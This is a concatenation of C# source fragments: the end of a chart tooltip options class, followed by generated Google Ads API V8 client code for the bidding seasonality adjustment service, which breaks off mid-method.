[JsonProperty(PropertyName = "titleFontColor")]
public string TitleFontColor { get; set; } = "#fff";
/// <summary>
/// Spacing to add to top and bottom of each title line.
/// </summary>
[DefaultValue(2)]
[JsonProperty(PropertyName = "titleSpacing")]
public int TitleSpacing { get; set; } = 2;
/// <summary>
/// Margin to add on bottom of title section.
/// </summary>
[DefaultValue(6)]
[JsonProperty(PropertyName = "titleMarginBottom")]
public int TitleMarginBottom { get; set; } = 6;
/// <summary>
/// Font family for tooltip items inherited from global font family.
/// </summary>
[DefaultValue("'Helvetica Neue', 'Helvetica', 'Arial', sans-serif")]
[JsonProperty(PropertyName = "bodyFontFamily")]
public string BodyFontFamily { get; set; } = "'Helvetica Neue', 'Helvetica', 'Arial', sans-serif";
/// <summary>
/// Font size for tooltip items inherited from global font size.
/// </summary>
[DefaultValue(12)]
[JsonProperty(PropertyName = "bodyFontSize")]
public int BodyFontSize { get; set; } = 12;
/// <summary>
/// N/a
/// </summary>
[DefaultValue("normal")]
[JsonProperty(PropertyName = "bodyFontStyle")]
public string BodyFontStyle { get; set; } = "normal";
/// <summary>
/// Font color for tooltip items.
/// </summary>
[DefaultValue("#fff")]
[JsonProperty(PropertyName = "bodyFontColor")]
public string BodyFontColor { get; set; } = "#fff";
/// <summary>
/// Spacing to add to top and bottom of each tooltip item.
/// </summary>
[DefaultValue(2)]
[JsonProperty(PropertyName = "bodySpacing")]
public int BodySpacing { get; set; } = 2;
/// <summary>
/// Font family for tooltip footer inherited from global font family..
/// </summary>
[DefaultValue("'Helvetica Neue', 'Helvetica', 'Arial', sans-serif")]
[JsonProperty(PropertyName = "footerFontFamily")]
public string FooterFontFamily { get; set; } = "'Helvetica Neue', 'Helvetica', 'Arial', sans-serif";
/// <summary>
/// Font size for tooltip footer inherited from global font size.
/// </summary>
[DefaultValue(12)]
[JsonProperty(PropertyName = "footerFontSize")]
public int FooterFontSize { get; set; } = 12;
/// <summary>
/// Font style for tooltip footer.
/// </summary>
[DefaultValue("bold")]
[JsonProperty(PropertyName = "footerFontStyle")]
public string FooterFontStyle { get; set; } = "bold";
/// <summary>
/// Font color for tooltip footer.
/// </summary>
[DefaultValue("#fff")]
[JsonProperty(PropertyName = "footerFontColor")]
public string FooterFontColor { get; set; } = "#fff";
/// <summary>
/// Spacing to add to top and bottom of each footer line.
/// </summary>
[DefaultValue(2)]
[JsonProperty(PropertyName = "footerSpacing")]
public int FooterSpacing { get; set; } = 2;
/// <summary>
/// Margin to add before drawing the footer.
/// </summary>
[DefaultValue(6)]
[JsonProperty(PropertyName = "footerMarginTop")]
public int FooterMarginTop { get; set; } = 6;
/// <summary>
/// Padding to add on left and right of tooltip.
/// </summary>
[DefaultValue(6)]
[JsonProperty(PropertyName = "xPadding")]
public int xPadding { get; set; } = 6;
/// <summary>
/// Padding to add on top and bottom of tooltip.
/// </summary>
[DefaultValue(6)]
[JsonProperty(PropertyName = "yPadding")]
public int yPadding { get; set; } = 6;
/// <summary>
/// Size, in px, of the tooltip arrow.
/// </summary>
[DefaultValue(5)]
[JsonProperty(PropertyName = "caretSize")]
public int CaretSize { get; set; } = 5;
/// <summary>
/// Radius of tooltip corner curves.
/// </summary>
[DefaultValue(6)]
[JsonProperty(PropertyName = "cornerRadius")]
public int CornerRadius { get; set; } = 6;
/// <summary>
/// Color to draw behind the colored boxes when multiple items are in the tooltip.
/// </summary>
[DefaultValue("#fff")]
[JsonProperty(PropertyName = "multiKeyBackground")]
public string MultiKeyBackground { get; set; } = "#fff";
/// <summary>
/// if true, color boxes are shown in the tooltip.
/// </summary>
[DefaultValue(true)]
[JsonProperty(PropertyName = "displayColors")]
public bool DisplayColors { get; set; } = true;
}
}
| |
// Copyright 2021 Google LLC
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// https://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// Generated code. DO NOT EDIT!
using gagvr = Google.Ads.GoogleAds.V8.Resources;
using gax = Google.Api.Gax;
using gaxgrpc = Google.Api.Gax.Grpc;
using gaxgrpccore = Google.Api.Gax.Grpc.GrpcCore;
using proto = Google.Protobuf;
using grpccore = Grpc.Core;
using grpcinter = Grpc.Core.Interceptors;
using sys = System;
using scg = System.Collections.Generic;
using sco = System.Collections.ObjectModel;
using st = System.Threading;
using stt = System.Threading.Tasks;
namespace Google.Ads.GoogleAds.V8.Services
{
/// <summary>Settings for <see cref="BiddingSeasonalityAdjustmentServiceClient"/> instances.</summary>
public sealed partial class BiddingSeasonalityAdjustmentServiceSettings : gaxgrpc::ServiceSettingsBase
{
/// <summary>
/// Get a new instance of the default <see cref="BiddingSeasonalityAdjustmentServiceSettings"/>.
/// </summary>
/// <returns>A new instance of the default <see cref="BiddingSeasonalityAdjustmentServiceSettings"/>.</returns>
public static BiddingSeasonalityAdjustmentServiceSettings GetDefault() =>
new BiddingSeasonalityAdjustmentServiceSettings();
/// <summary>
/// Constructs a new <see cref="BiddingSeasonalityAdjustmentServiceSettings"/> object with default settings.
/// </summary>
public BiddingSeasonalityAdjustmentServiceSettings()
{
}
private BiddingSeasonalityAdjustmentServiceSettings(BiddingSeasonalityAdjustmentServiceSettings existing) : base(existing)
{
gax::GaxPreconditions.CheckNotNull(existing, nameof(existing));
GetBiddingSeasonalityAdjustmentSettings = existing.GetBiddingSeasonalityAdjustmentSettings;
MutateBiddingSeasonalityAdjustmentsSettings = existing.MutateBiddingSeasonalityAdjustmentsSettings;
OnCopy(existing);
}
partial void OnCopy(BiddingSeasonalityAdjustmentServiceSettings existing);
/// <summary>
/// <see cref="gaxgrpc::CallSettings"/> for synchronous and asynchronous calls to
/// <c>BiddingSeasonalityAdjustmentServiceClient.GetBiddingSeasonalityAdjustment</c> and
/// <c>BiddingSeasonalityAdjustmentServiceClient.GetBiddingSeasonalityAdjustmentAsync</c>.
/// </summary>
/// <remarks>
/// <list type="bullet">
/// <item><description>Initial retry delay: 5000 milliseconds.</description></item>
/// <item><description>Retry delay multiplier: 1.3</description></item>
/// <item><description>Retry maximum delay: 60000 milliseconds.</description></item>
/// <item><description>Maximum attempts: Unlimited</description></item>
/// <item>
/// <description>
/// Retriable status codes: <see cref="grpccore::StatusCode.Unavailable"/>,
/// <see cref="grpccore::StatusCode.DeadlineExceeded"/>.
/// </description>
/// </item>
/// <item><description>Timeout: 3600 seconds.</description></item>
/// </list>
/// </remarks>
public gaxgrpc::CallSettings GetBiddingSeasonalityAdjustmentSettings { get; set; } = gaxgrpc::CallSettingsExtensions.WithRetry(gaxgrpc::CallSettings.FromExpiration(gax::Expiration.FromTimeout(sys::TimeSpan.FromMilliseconds(3600000))), gaxgrpc::RetrySettings.FromExponentialBackoff(maxAttempts: 2147483647, initialBackoff: sys::TimeSpan.FromMilliseconds(5000), maxBackoff: sys::TimeSpan.FromMilliseconds(60000), backoffMultiplier: 1.3, retryFilter: gaxgrpc::RetrySettings.FilterForStatusCodes(grpccore::StatusCode.Unavailable, grpccore::StatusCode.DeadlineExceeded)));
/// <summary>
/// <see cref="gaxgrpc::CallSettings"/> for synchronous and asynchronous calls to
/// <c>BiddingSeasonalityAdjustmentServiceClient.MutateBiddingSeasonalityAdjustments</c> and
/// <c>BiddingSeasonalityAdjustmentServiceClient.MutateBiddingSeasonalityAdjustmentsAsync</c>.
/// </summary>
/// <remarks>
/// <list type="bullet">
/// <item><description>Initial retry delay: 5000 milliseconds.</description></item>
/// <item><description>Retry delay multiplier: 1.3</description></item>
/// <item><description>Retry maximum delay: 60000 milliseconds.</description></item>
/// <item><description>Maximum attempts: Unlimited</description></item>
/// <item>
/// <description>
/// Retriable status codes: <see cref="grpccore::StatusCode.Unavailable"/>,
/// <see cref="grpccore::StatusCode.DeadlineExceeded"/>.
/// </description>
/// </item>
/// <item><description>Timeout: 3600 seconds.</description></item>
/// </list>
/// </remarks>
public gaxgrpc::CallSettings MutateBiddingSeasonalityAdjustmentsSettings { get; set; } = gaxgrpc::CallSettingsExtensions.WithRetry(gaxgrpc::CallSettings.FromExpiration(gax::Expiration.FromTimeout(sys::TimeSpan.FromMilliseconds(3600000))), gaxgrpc::RetrySettings.FromExponentialBackoff(maxAttempts: 2147483647, initialBackoff: sys::TimeSpan.FromMilliseconds(5000), maxBackoff: sys::TimeSpan.FromMilliseconds(60000), backoffMultiplier: 1.3, retryFilter: gaxgrpc::RetrySettings.FilterForStatusCodes(grpccore::StatusCode.Unavailable, grpccore::StatusCode.DeadlineExceeded)));
/// <summary>Creates a deep clone of this object, with all the same property values.</summary>
/// <returns>A deep clone of this <see cref="BiddingSeasonalityAdjustmentServiceSettings"/> object.</returns>
public BiddingSeasonalityAdjustmentServiceSettings Clone() => new BiddingSeasonalityAdjustmentServiceSettings(this);
}
/// <summary>
/// Builder class for <see cref="BiddingSeasonalityAdjustmentServiceClient"/> to provide simple configuration of
/// credentials, endpoint etc.
/// </summary>
internal sealed partial class BiddingSeasonalityAdjustmentServiceClientBuilder : gaxgrpc::ClientBuilderBase<BiddingSeasonalityAdjustmentServiceClient>
{
/// <summary>The settings to use for RPCs, or <c>null</c> for the default settings.</summary>
public BiddingSeasonalityAdjustmentServiceSettings Settings { get; set; }
/// <summary>Creates a new builder with default settings.</summary>
public BiddingSeasonalityAdjustmentServiceClientBuilder()
{
UseJwtAccessWithScopes = BiddingSeasonalityAdjustmentServiceClient.UseJwtAccessWithScopes;
}
partial void InterceptBuild(ref BiddingSeasonalityAdjustmentServiceClient client);
partial void InterceptBuildAsync(st::CancellationToken cancellationToken, ref stt::Task<BiddingSeasonalityAdjustmentServiceClient> task);
/// <summary>Builds the resulting client.</summary>
public override BiddingSeasonalityAdjustmentServiceClient Build()
{
BiddingSeasonalityAdjustmentServiceClient client = null;
InterceptBuild(ref client);
return client ?? BuildImpl();
}
/// <summary>Builds the resulting client asynchronously.</summary>
public override stt::Task<BiddingSeasonalityAdjustmentServiceClient> BuildAsync(st::CancellationToken cancellationToken = default)
{
stt::Task<BiddingSeasonalityAdjustmentServiceClient> task = null;
InterceptBuildAsync(cancellationToken, ref task);
return task ?? BuildAsyncImpl(cancellationToken);
}
private BiddingSeasonalityAdjustmentServiceClient BuildImpl()
{
Validate();
grpccore::CallInvoker callInvoker = CreateCallInvoker();
return BiddingSeasonalityAdjustmentServiceClient.Create(callInvoker, Settings);
}
private async stt::Task<BiddingSeasonalityAdjustmentServiceClient> BuildAsyncImpl(st::CancellationToken cancellationToken)
{
Validate();
grpccore::CallInvoker callInvoker = await CreateCallInvokerAsync(cancellationToken).ConfigureAwait(false);
return BiddingSeasonalityAdjustmentServiceClient.Create(callInvoker, Settings);
}
/// <summary>Returns the endpoint for this builder type, used if no endpoint is otherwise specified.</summary>
protected override string GetDefaultEndpoint() => BiddingSeasonalityAdjustmentServiceClient.DefaultEndpoint;
/// <summary>
/// Returns the default scopes for this builder type, used if no scopes are otherwise specified.
/// </summary>
protected override scg::IReadOnlyList<string> GetDefaultScopes() =>
BiddingSeasonalityAdjustmentServiceClient.DefaultScopes;
/// <summary>Returns the channel pool to use when no other options are specified.</summary>
protected override gaxgrpc::ChannelPool GetChannelPool() => BiddingSeasonalityAdjustmentServiceClient.ChannelPool;
/// <summary>Returns the default <see cref="gaxgrpc::GrpcAdapter"/>to use if not otherwise specified.</summary>
protected override gaxgrpc::GrpcAdapter DefaultGrpcAdapter => gaxgrpccore::GrpcCoreAdapter.Instance;
}
/// <summary>BiddingSeasonalityAdjustmentService client wrapper, for convenient use.</summary>
/// <remarks>
/// Service to manage bidding seasonality adjustments.
/// </remarks>
public abstract partial class BiddingSeasonalityAdjustmentServiceClient
{
/// <summary>
/// The default endpoint for the BiddingSeasonalityAdjustmentService service, which is a host of
/// "googleads.googleapis.com" and a port of 443.
/// </summary>
public static string DefaultEndpoint { get; } = "googleads.googleapis.com:443";
/// <summary>The default BiddingSeasonalityAdjustmentService scopes.</summary>
/// <remarks>
/// The default BiddingSeasonalityAdjustmentService scopes are:
/// <list type="bullet"><item><description>https://www.googleapis.com/auth/adwords</description></item></list>
/// </remarks>
public static scg::IReadOnlyList<string> DefaultScopes { get; } = new sco::ReadOnlyCollection<string>(new string[]
{
"https://www.googleapis.com/auth/adwords",
});
internal static gaxgrpc::ChannelPool ChannelPool { get; } = new gaxgrpc::ChannelPool(DefaultScopes, UseJwtAccessWithScopes);
internal static bool UseJwtAccessWithScopes
{
get
{
bool useJwtAccessWithScopes = true;
MaybeUseJwtAccessWithScopes(ref useJwtAccessWithScopes);
return useJwtAccessWithScopes;
}
}
static partial void MaybeUseJwtAccessWithScopes(ref bool useJwtAccessWithScopes);
/// <summary>
/// Asynchronously creates a <see cref="BiddingSeasonalityAdjustmentServiceClient"/> using the default
/// credentials, endpoint and settings. To specify custom credentials or other settings, use
/// <see cref="BiddingSeasonalityAdjustmentServiceClientBuilder"/>.
/// </summary>
/// <param name="cancellationToken">
/// The <see cref="st::CancellationToken"/> to use while creating the client.
/// </param>
/// <returns>
/// The task representing the created <see cref="BiddingSeasonalityAdjustmentServiceClient"/>.
/// </returns>
public static stt::Task<BiddingSeasonalityAdjustmentServiceClient> CreateAsync(st::CancellationToken cancellationToken = default) =>
new BiddingSeasonalityAdjustmentServiceClientBuilder().BuildAsync(cancellationToken);
/// <summary>
/// Synchronously creates a <see cref="BiddingSeasonalityAdjustmentServiceClient"/> using the default
/// credentials, endpoint and settings. To specify custom credentials or other settings, use
/// <see cref="BiddingSeasonalityAdjustmentServiceClientBuilder"/>.
/// </summary>
/// <returns>The created <see cref="BiddingSeasonalityAdjustmentServiceClient"/>.</returns>
public static BiddingSeasonalityAdjustmentServiceClient Create() =>
new BiddingSeasonalityAdjustmentServiceClientBuilder().Build();
/// <summary>
/// Creates a <see cref="BiddingSeasonalityAdjustmentServiceClient"/> which uses the specified call invoker for
/// remote operations.
/// </summary>
/// <param name="callInvoker">
/// The <see cref="grpccore::CallInvoker"/> for remote operations. Must not be null.
/// </param>
/// <param name="settings">Optional <see cref="BiddingSeasonalityAdjustmentServiceSettings"/>.</param>
/// <returns>The created <see cref="BiddingSeasonalityAdjustmentServiceClient"/>.</returns>
internal static BiddingSeasonalityAdjustmentServiceClient Create(grpccore::CallInvoker callInvoker, BiddingSeasonalityAdjustmentServiceSettings settings = null)
{
gax::GaxPreconditions.CheckNotNull(callInvoker, nameof(callInvoker));
grpcinter::Interceptor interceptor = settings?.Interceptor;
if (interceptor != null)
{
callInvoker = grpcinter::CallInvokerExtensions.Intercept(callInvoker, interceptor);
}
BiddingSeasonalityAdjustmentService.BiddingSeasonalityAdjustmentServiceClient grpcClient = new BiddingSeasonalityAdjustmentService.BiddingSeasonalityAdjustmentServiceClient(callInvoker);
return new BiddingSeasonalityAdjustmentServiceClientImpl(grpcClient, settings);
}
/// <summary>
/// Shuts down any channels automatically created by <see cref="Create()"/> and
/// <see cref="CreateAsync(st::CancellationToken)"/>. Channels which weren't automatically created are not
/// affected.
/// </summary>
/// <remarks>
/// After calling this method, further calls to <see cref="Create()"/> and
/// <see cref="CreateAsync(st::CancellationToken)"/> will create new channels, which could in turn be shut down
/// by another call to this method.
/// </remarks>
/// <returns>A task representing the asynchronous shutdown operation.</returns>
public static stt::Task ShutdownDefaultChannelsAsync() => ChannelPool.ShutdownChannelsAsync();
/// <summary>The underlying gRPC BiddingSeasonalityAdjustmentService client</summary>
public virtual BiddingSeasonalityAdjustmentService.BiddingSeasonalityAdjustmentServiceClient GrpcClient => throw new sys::NotImplementedException();
/// <summary>
/// Returns the requested seasonality adjustment in full detail.
/// </summary>
/// <param name="request">The request object containing all of the parameters for the API call.</param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>The RPC response.</returns>
public virtual gagvr::BiddingSeasonalityAdjustment GetBiddingSeasonalityAdjustment(GetBiddingSeasonalityAdjustmentRequest request, gaxgrpc::CallSettings callSettings = null) =>
throw new sys::NotImplementedException();
/// <summary>
/// Returns the requested seasonality adjustment in full detail.
/// </summary>
/// <param name="request">The request object containing all of the parameters for the API call.</param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>A Task containing the RPC response.</returns>
public virtual stt::Task<gagvr::BiddingSeasonalityAdjustment> GetBiddingSeasonalityAdjustmentAsync(GetBiddingSeasonalityAdjustmentRequest request, gaxgrpc::CallSettings callSettings = null) =>
throw new sys::NotImplementedException();
/// <summary>
/// Returns the requested seasonality adjustment in full detail.
/// </summary>
/// <param name="request">The request object containing all of the parameters for the API call.</param>
/// <param name="cancellationToken">A <see cref="st::CancellationToken"/> to use for this RPC.</param>
/// <returns>A Task containing the RPC response.</returns>
public virtual stt::Task<gagvr::BiddingSeasonalityAdjustment> GetBiddingSeasonalityAdjustmentAsync(GetBiddingSeasonalityAdjustmentRequest request, st::CancellationToken cancellationToken) =>
GetBiddingSeasonalityAdjustmentAsync(request, gaxgrpc::CallSettings.FromCancellationToken(cancellationToken));
/// <summary>
/// Returns the requested seasonality adjustment in full detail.
/// </summary>
/// <param name="resourceName">
/// Required. The resource name of the seasonality adjustment to fetch.
/// </param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>The RPC response.</returns>
public virtual gagvr::BiddingSeasonalityAdjustment GetBiddingSeasonalityAdjustment(string resourceName, gaxgrpc::CallSettings callSettings = null) =>
GetBiddingSeasonalityAdjustment(new GetBiddingSeasonalityAdjustmentRequest
{
ResourceName = gax::GaxPreconditions.CheckNotNullOrEmpty(resourceName, nameof(resourceName)),
}, callSettings);
/// <summary>
/// Returns the requested seasonality adjustment in full detail.
/// </summary>
/// <param name="resourceName">
/// Required. The resource name of the seasonality adjustment to fetch.
/// </param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>A Task containing the RPC response.</returns>
public virtual stt::Task<gagvr::BiddingSeasonalityAdjustment> GetBiddingSeasonalityAdjustmentAsync(string resourceName, gaxgrpc::CallSettings callSettings = null) =>
GetBiddingSeasonalityAdjustmentAsync(new GetBiddingSeasonalityAdjustmentRequest
{
ResourceName = gax::GaxPreconditions.CheckNotNullOrEmpty(resourceName, nameof(resourceName)),
}, callSettings);
/// <summary>
/// Returns the requested seasonality adjustment in full detail.
/// </summary>
/// <param name="resourceName">
/// Required. The resource name of the seasonality adjustment to fetch.
/// </param>
/// <param name="cancellationToken">A <see cref="st::CancellationToken"/> to use for this RPC.</param>
/// <returns>A Task containing the RPC response.</returns>
public virtual stt::Task<gagvr::BiddingSeasonalityAdjustment> GetBiddingSeasonalityAdjustmentAsync(string resourceName, st::CancellationToken cancellationToken) =>
GetBiddingSeasonalityAdjustmentAsync(resourceName, gaxgrpc::CallSettings.FromCancellationToken(cancellationToken));
/// <summary>
/// Returns the requested seasonality adjustment in full detail.
/// </summary>
/// <param name="resourceName">
/// Required. The resource name of the seasonality adjustment to fetch.
/// </param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>The RPC response.</returns>
public virtual gagvr::BiddingSeasonalityAdjustment GetBiddingSeasonalityAdjustment(gagvr::BiddingSeasonalityAdjustmentName resourceName, gaxgrpc::CallSettings callSettings = null) =>
GetBiddingSeasonalityAdjustment(new GetBiddingSeasonalityAdjustmentRequest
{
ResourceNameAsBiddingSeasonalityAdjustmentName = gax::GaxPreconditions.CheckNotNull(resourceName, nameof(resourceName)),
}, callSettings);
/// <summary>
/// Returns the requested seasonality adjustment in full detail.
/// </summary>
/// <param name="resourceName">
/// Required. The resource name of the seasonality adjustment to fetch.
/// </param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>A Task containing the RPC response.</returns>
public virtual stt::Task<gagvr::BiddingSeasonalityAdjustment> GetBiddingSeasonalityAdjustmentAsync(gagvr::BiddingSeasonalityAdjustmentName resourceName, gaxgrpc::CallSettings callSettings = null) =>
GetBiddingSeasonalityAdjustmentAsync(new GetBiddingSeasonalityAdjustmentRequest
{
ResourceNameAsBiddingSeasonalityAdjustmentName = gax::GaxPreconditions.CheckNotNull(resourceName, nameof(resourceName)),
}, callSettings);
/// <summary>
/// Returns the requested seasonality adjustment in full detail.
/// </summary>
/// <param name="resourceName">
/// Required. The resource name of the seasonality adjustment to fetch.
/// </param>
/// <param name="cancellationToken">A <see cref="st::CancellationToken"/> to use for this RPC.</param>
/// <returns>A Task containing the RPC response.</returns>
public virtual stt::Task<gagvr::BiddingSeasonalityAdjustment> GetBiddingSeasonalityAdjustmentAsync(gagvr::BiddingSeasonalityAdjustmentName resourceName, st::CancellationToken cancellationToken) =>
GetBiddingSeasonalityAdjustmentAsync(resourceName, gaxgrpc::CallSettings.FromCancellationToken(cancellationToken));
/// <summary>
/// Creates, updates, or removes seasonality adjustments.
/// Operation statuses are returned.
/// </summary>
/// <param name="request">The request object containing all of the parameters for the API call.</param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>The RPC response.</returns>
public virtual MutateBiddingSeasonalityAdjustmentsResponse MutateBiddingSeasonalityAdjustments(MutateBiddingSeasonalityAdjustmentsRequest request, gaxgrpc::CallSettings callSettings = null) =>
throw new sys::NotImplementedException();
/// <summary>
/// Creates, updates, or removes seasonality adjustments.
/// Operation statuses are returned.
/// </summary>
/// <param name="request">The request object containing all of the parameters for the API call.</param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>A Task containing the RPC response.</returns>
public virtual stt::Task<MutateBiddingSeasonalityAdjustmentsResponse> MutateBiddingSeasonalityAdjustmentsAsync(MutateBiddingSeasonalityAdjustmentsRequest request, gaxgrpc::CallSettings callSettings = null) =>
throw new sys::NotImplementedException();
/// <summary>
/// Creates, updates, or removes seasonality adjustments.
/// Operation statuses are returned.
/// </summary>
/// <param name="request">The request object containing all of the parameters for the API call.</param>
/// <param name="cancellationToken">A <see cref="st::CancellationToken"/> to use for this RPC.</param>
/// <returns>A Task containing the RPC response.</returns>
public virtual stt::Task<MutateBiddingSeasonalityAdjustmentsResponse> MutateBiddingSeasonalityAdjustmentsAsync(MutateBiddingSeasonalityAdjustmentsRequest request, st::CancellationToken cancellationToken) =>
MutateBiddingSeasonalityAdjustmentsAsync(request, gaxgrpc::CallSettings.FromCancellationToken(cancellationToken));
/// <summary>
/// Creates, updates, or removes seasonality adjustments.
/// Operation statuses are returned.
/// </summary>
/// <param name="customerId">
/// Required. ID of the customer whose seasonality adjustments are being modified.
/// </param>
/// <param name="operations">
/// Required. The list of operations to perform on individual seasonality adjustments.
/// </param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>The RPC response.</returns>
public virtual MutateBiddingSeasonalityAdjustmentsResponse MutateBiddingSeasonalityAdjustments(string customerId, scg::IEnumerable<BiddingSeasonalityAdjustmentOperation> operations, gaxgrpc::CallSettings callSettings = null) =>
MutateBiddingSeasonalityAdjustments(new MutateBiddingSeasonalityAdjustmentsRequest
{
CustomerId = gax::GaxPreconditions.CheckNotNullOrEmpty(customerId, nameof(customerId)),
Operations =
{
gax::GaxPreconditions.CheckNotNull(operations, nameof(operations)),
},
}, callSettings);
/// <summary>
/// Creates, updates, or removes seasonality adjustments.
/// Operation statuses are returned.
/// </summary>
/// <param name="customerId">
/// Required. ID of the customer whose seasonality adjustments are being modified.
/// </param>
/// <param name="operations">
/// Required. The list of operations to perform on individual seasonality adjustments.
/// </param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>A Task containing the RPC response.</returns>
public virtual stt::Task<MutateBiddingSeasonalityAdjustmentsResponse> MutateBiddingSeasonalityAdjustmentsAsync(string customerId, scg::IEnumerable<BiddingSeasonalityAdjustmentOperation> operations, gaxgrpc::CallSettings callSettings = null) =>
MutateBiddingSeasonalityAdjustmentsAsync(new MutateBiddingSeasonalityAdjustmentsRequest
{
CustomerId = gax::GaxPreconditions.CheckNotNullOrEmpty(customerId, nameof(customerId)),
Operations =
{
gax::GaxPreconditions.CheckNotNull(operations, nameof(operations)),
},
}, callSettings);
/// <summary>
/// Creates, updates, or removes seasonality adjustments.
/// Operation statuses are returned.
/// </summary>
/// <param name="customerId">
/// Required. ID of the customer whose seasonality adjustments are being modified.
/// </param>
/// <param name="operations">
/// Required. The list of operations to perform on individual seasonality adjustments.
/// </param>
/// <param name="cancellationToken">A <see cref="st::CancellationToken"/> to use for this RPC.</param>
/// <returns>A Task containing the RPC response.</returns>
public virtual stt::Task<MutateBiddingSeasonalityAdjustmentsResponse> MutateBiddingSeasonalityAdjustmentsAsync(string customerId, scg::IEnumerable<BiddingSeasonalityAdjustmentOperation> operations, st::CancellationToken cancellationToken) =>
MutateBiddingSeasonalityAdjustmentsAsync(customerId, operations, gaxgrpc::CallSettings.FromCancellationToken(cancellationToken));
}
/// <summary>BiddingSeasonalityAdjustmentService client wrapper implementation, for convenient use.</summary>
/// <remarks>
/// Service to manage bidding seasonality adjustments.
/// </remarks>
public sealed partial class BiddingSeasonalityAdjustmentServiceClientImpl : BiddingSeasonalityAdjustmentServiceClient
{
private readonly gaxgrpc::ApiCall<GetBiddingSeasonalityAdjustmentRequest, gagvr::BiddingSeasonalityAdjustment> _callGetBiddingSeasonalityAdjustment;
private readonly gaxgrpc::ApiCall<MutateBiddingSeasonalityAdjustmentsRequest, MutateBiddingSeasonalityAdjustmentsResponse> _callMutateBiddingSeasonalityAdjustments;
/// <summary>
/// Constructs a client wrapper for the BiddingSeasonalityAdjustmentService service, with the specified gRPC
/// client and settings.
/// </summary>
/// <param name="grpcClient">The underlying gRPC client.</param>
/// <param name="settings">
/// The base <see cref="BiddingSeasonalityAdjustmentServiceSettings"/> used within this client.
/// </param>
public BiddingSeasonalityAdjustmentServiceClientImpl(BiddingSeasonalityAdjustmentService.BiddingSeasonalityAdjustmentServiceClient grpcClient, BiddingSeasonalityAdjustmentServiceSettings settings)
{
GrpcClient = grpcClient;
BiddingSeasonalityAdjustmentServiceSettings effectiveSettings = settings ?? BiddingSeasonalityAdjustmentServiceSettings.GetDefault();
gaxgrpc::ClientHelper clientHelper = new gaxgrpc::ClientHelper(effectiveSettings);
_callGetBiddingSeasonalityAdjustment = clientHelper.BuildApiCall<GetBiddingSeasonalityAdjustmentRequest, gagvr::BiddingSeasonalityAdjustment>(grpcClient.GetBiddingSeasonalityAdjustmentAsync, grpcClient.GetBiddingSeasonalityAdjustment, effectiveSettings.GetBiddingSeasonalityAdjustmentSettings).WithGoogleRequestParam("resource_name", request => request.ResourceName);
Modify_ApiCall(ref _callGetBiddingSeasonalityAdjustment);
Modify_GetBiddingSeasonalityAdjustmentApiCall(ref _callGetBiddingSeasonalityAdjustment);
_callMutateBiddingSeasonalityAdjustments = clientHelper.BuildApiCall<MutateBiddingSeasonalityAdjustmentsRequest, MutateBiddingSeasonalityAdjustmentsResponse>(grpcClient.MutateBiddingSeasonalityAdjustmentsAsync, grpcClient.MutateBiddingSeasonalityAdjustments, effectiveSettings.MutateBiddingSeasonalityAdjustmentsSettings).WithGoogleRequestParam("customer_id", request => request.CustomerId);
Modify_ApiCall(ref _callMutateBiddingSeasonalityAdjustments);
Modify_MutateBiddingSeasonalityAdjustmentsApiCall(ref _callMutateBiddingSeasonalityAdjustments);
OnConstruction(grpcClient, effectiveSettings, clientHelper);
}
partial void Modify_ApiCall<TRequest, TResponse>(ref gaxgrpc::ApiCall<TRequest, TResponse> call) where TRequest : class, proto::IMessage<TRequest> where TResponse : class, proto::IMessage<TResponse>;
partial void Modify_GetBiddingSeasonalityAdjustmentApiCall(ref gaxgrpc::ApiCall<GetBiddingSeasonalityAdjustmentRequest, gagvr::BiddingSeasonalityAdjustment> call);
partial void Modify_MutateBiddingSeasonalityAdjustmentsApiCall(ref gaxgrpc::ApiCall<MutateBiddingSeasonalityAdjustmentsRequest, MutateBiddingSeasonalityAdjustmentsResponse> call);
partial void OnConstruction(BiddingSeasonalityAdjustmentService.BiddingSeasonalityAdjustmentServiceClient grpcClient, BiddingSeasonalityAdjustmentServiceSettings effectiveSettings, gaxgrpc::ClientHelper clientHelper);
/// <summary>The underlying gRPC BiddingSeasonalityAdjustmentService client</summary>
public override BiddingSeasonalityAdjustmentService.BiddingSeasonalityAdjustmentServiceClient GrpcClient { get; }
partial void Modify_GetBiddingSeasonalityAdjustmentRequest(ref GetBiddingSeasonalityAdjustmentRequest request, ref gaxgrpc::CallSettings settings);
partial void Modify_MutateBiddingSeasonalityAdjustmentsRequest(ref MutateBiddingSeasonalityAdjustmentsRequest request, ref gaxgrpc::CallSettings settings);
/// <summary>
/// Returns the requested seasonality adjustment in full detail.
/// </summary>
/// <param name="request">The request object containing all of the parameters for the API call.</param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>The RPC response.</returns>
public override gagvr::BiddingSeasonalityAdjustment GetBiddingSeasonalityAdjustment(GetBiddingSeasonalityAdjustmentRequest request, gaxgrpc::CallSettings callSettings = null)
{
Modify_GetBiddingSeasonalityAdjustmentRequest(ref request, ref callSettings);
return _callGetBiddingSeasonalityAdjustment.Sync(request, callSettings);
}
/// <summary>
/// Returns the requested seasonality adjustment in full detail.
/// </summary>
/// <param name="request">The request object containing all of the parameters for the API call.</param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>A Task containing the RPC response.</returns>
public override stt::Task<gagvr::BiddingSeasonalityAdjustment> GetBiddingSeasonalityAdjustmentAsync(GetBiddingSeasonalityAdjustmentRequest request, gaxgrpc::CallSettings callSettings = null)
{
Modify_GetBiddingSeasonalityAdjustmentRequest(ref request, ref callSettings);
